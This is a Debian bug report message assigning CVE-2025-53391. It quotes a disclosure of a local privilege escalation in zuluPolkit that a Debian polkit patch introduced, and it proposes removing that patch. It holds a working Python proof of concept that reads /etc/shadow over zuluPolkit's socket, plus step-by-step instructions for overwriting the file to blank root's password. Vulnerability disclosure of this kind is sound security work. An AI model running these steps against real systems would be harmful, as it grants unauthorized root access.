Control: retitle -1 CVE-2025-53391: Local privilege escalation via zuluPolkit, caused by Debian patch
On Tue, Jun 24, 2025 at 09:19:00PM -0500, Aaron Rainbolt wrote: > Source: zulucrypt > X-Debbugs-Cc: [email protected], [email protected], > [email protected] > Version: 6.2.0-1 > Severity: critical > Tags: security > > In the current zuluCrypt packaging, the zuluPolkit/CMakeLists.txt file > is patched to allow any user to use zuluPolkit, a shim provided as part > of zuluCrypt for running privileged operations. (Upstream's default > allows only users considered as "admins" by polkit to use this > utility.) However, due to the kinds of operations zuluPolkit is capable > of running, the ability to run zuluPolkit as root is equivalent to root > access, and thus this patch opens an LPE vulnerability that allows any > user on the system to elevate to root with only their own password. > > zuluPolkit works using a slightly convoluted combination of a UNIX > socket and standard input. The executable is intended to be launched as > `/usr/bin/zuluPolkit /path/to/unix-socket`. zuluPolkit will prompt for > a "token" (this turns out to be a simple authentication cookie which is > later used when connecting to the socket), then it will delete the > specified file and create a UNIX socket there. (Coincidentally this > allows us to delete anything we want on the system and replace it with > a UNIX socket.) zuluPolkit then listens on the socket, waiting for > something to connect to it and send it a JSON payload. > > The format of the JSON payload supported by zuluPolkit is as follows: > > { > "path": "/path/to/file", > "data": "data for the command, if applicable", > "password": "disk decryption passphrase, if applicable", > "cookie": "authentication cookie", > "command": "one of (exit|Read|Write) or a whitelisted shell command" > } > > I'm primarily interested in the "Read" and "Write" commands. These > commands allow dumping the contents of an arbitrary file, and replacing > the contents of an arbitrary file, respectively. This provides an easy > way to elevate to root - dump /etc/shadow, set the root account's > password to be empty, then overwrite /etc/shadow with the insecure > version. At that point you can `su` to root and have full control of > the system. (The ability to run certain shell commands may also be of > interest, but zuluCrypt seems to limit this to only a few specific > commands, so this *may* not be a worry. There might be some way to > trick zuluCrypt into running non-whitelisted things, but I have not > investigated this.) > > To demonstrate the vuln, I installed a fresh copy of Debian 12 with the > LXDE desktop [1] into a virtual machine, setting both a user and a root > password. I verified that my user account (`user`) was not able to > elevate to root with its password, by running `sudo -i` (this told me > that `user` was not in the sudoers file). Then I `su`'d to root, > providing the root password in the process, and installed zuluCrypt > with `apt install zulucrypt-gui`. I only really needed zuluPolkit, but > wanted to ensure that installing zuluCrypt itself would pull in the > vulnerable code. This did indeed install the zuluPolkit executable, so > I then exited out of the root shell. > > In order to connect to zuluPolkit and pass malicious JSON to it, I > created a Python script as follows: > > dump-shadow.py: > > #!/bin/python3 -su > > import socket > import sys > > mysock = socket.socket(family=socket.AF_UNIX) > mysock.connect("/zulu-polkit") > payload = b"""{ > "cookie": "qwe", > "path": "/etc/shadow", > "data": "", > "password": "", > "command": "Read" > }""" > mysock.sendall(payload) > while True: > rslt = mysock.recv(4096) > if len(rslt) != 0: > rslt_str = rslt.decode(encoding="latin_1") > sys.stdout.write(rslt_str) > > (The use of "latin_1" encoding is intentional - this is the encoding > zuluPolkit uses to encode data it writes to a file. It's probably not > strictly necessary here but is used for consistency. Yes, you do have > to terminate this using Ctrl+C, it's not pretty, but I wanted reliable > and fast more than pretty.) > > Next, in one terminal, I ran `pkexec /usr/bin/zuluPolkit /zulu-polkit`. > pkexec prompted me for my *user* password, which as illustrated earlier > is NOT accepted by sudo for escalating to root. It is accepted for > running zuluPolkit though. Once it was started, I typed in a "token" of > `qwe`, and pressed Enter. Then in another terminal, I ran > `python3 ./dump-shadow.py`. This proceeded to spit out the following > (heavily truncated, and of course I was shown actual password hashes > where I have the word "REDACTED"): > > { > "exitCode": 0, > "exitStatus": 0, > "finished": true, > "stdError": "root:REDACTED:20259:0:99999:7:::\n..." > "stdOut": "root:REDACTED:20259:0:99999:7:::\n..." > } > > So this worked, I was indeed able to dump the contents of /etc/shadow > doing this. The next step then was to try to overwrite /etc/shadow with > malicious contents. I took the shadow file contents provided by the > dump-shadow.py script, and deleted the root password hash entirely to > allow passwordless root login. Then I copied and tweaked the > dump-shadow.py script slightly, changing the payload by putting the > maliciously modified shadow file contents in the "data" key and > changing the "command" key to "Write". zuluPolkit was still running its > server, so I just reused the socket it still had open. The new script > was named `write-shadow.py`. > > With that done, I ran `python3 ./write-shadow.py`. This returned a > rather boring JSON blob: > > { > "exitCode": 0, > "exitStatus": 0, > "finished": true, > "stdError": "" > "stdOut": "" > } > > Then I ran dump-shadow.py again, and got: > > { > "exitCode": 0, > "exitStatus": 0, > "finished": true, > "stdError": "root::20259:0:99999:7:::\n..." > "stdOut": "root::20259:0:99999:7:::\n..." > } > > The attack appeared to have worked, so finally I ran `su`. As expected, > I was instantly given a root shell with no password prompt. I also > tried logging into a TTY as `root` - this also let me in instantly with > no password prompt. > > Once in a root shell, I ran `cat /etc/shadow` to make sure the file > wasn't horribly mangled. The file looked normal to me, so it appears > zuluPolkit does not mangle things when writing them. > > This vulnerability is fully exploitable on a fresh install of Debian > 12.11. I have not yet attempted to exploit it on Trixie or Sid, but > given that the patch introducing the vuln is still present in the Git > tree [2] and I used zuluPolkit's upstream code as a reference when > developing this PoC, I assume they are vulnerable as well. Since the > patch was introduced for zuluCrypt 5.5.0 (judging by the > `zulucrypt-5.5.0` directory name present in the patch), I would assume > Debian 11 (Bullseye) is also vulnerable, and that Debian 10 (Buster) is > probably not vulnerable. > > It would likely require extensive upstream reworking to make zuluPolkit > safe for arbitrary unprivileged users to run, if it's possible at all > (I don't know what zuluPolkit itself is actually used for in > zuluCrypt, but it looks like it's intended to help with opening and > decrypting device files, which would make it impossible to "make > safe"). Due to this, I believe the attempt to "fix" the polkit > configuration in zuluCrypt was well-meant but misguided, and that the > problematic patch should be removed without replacement. The fact that > only admin users can use zulucrypt-gui by default is a feature, not a > bug. > > [1] I meant to select LXQt, but hit LXDE on accident instead :P > [2] > https://salsa.debian.org/debian/zulucrypt/-/blob/debian/master/debian/patches/fix_zulupolkit_policy.patch?ref_type=heads CVE-2025-53391 has been assigned for this issue. Regards, Salvatore

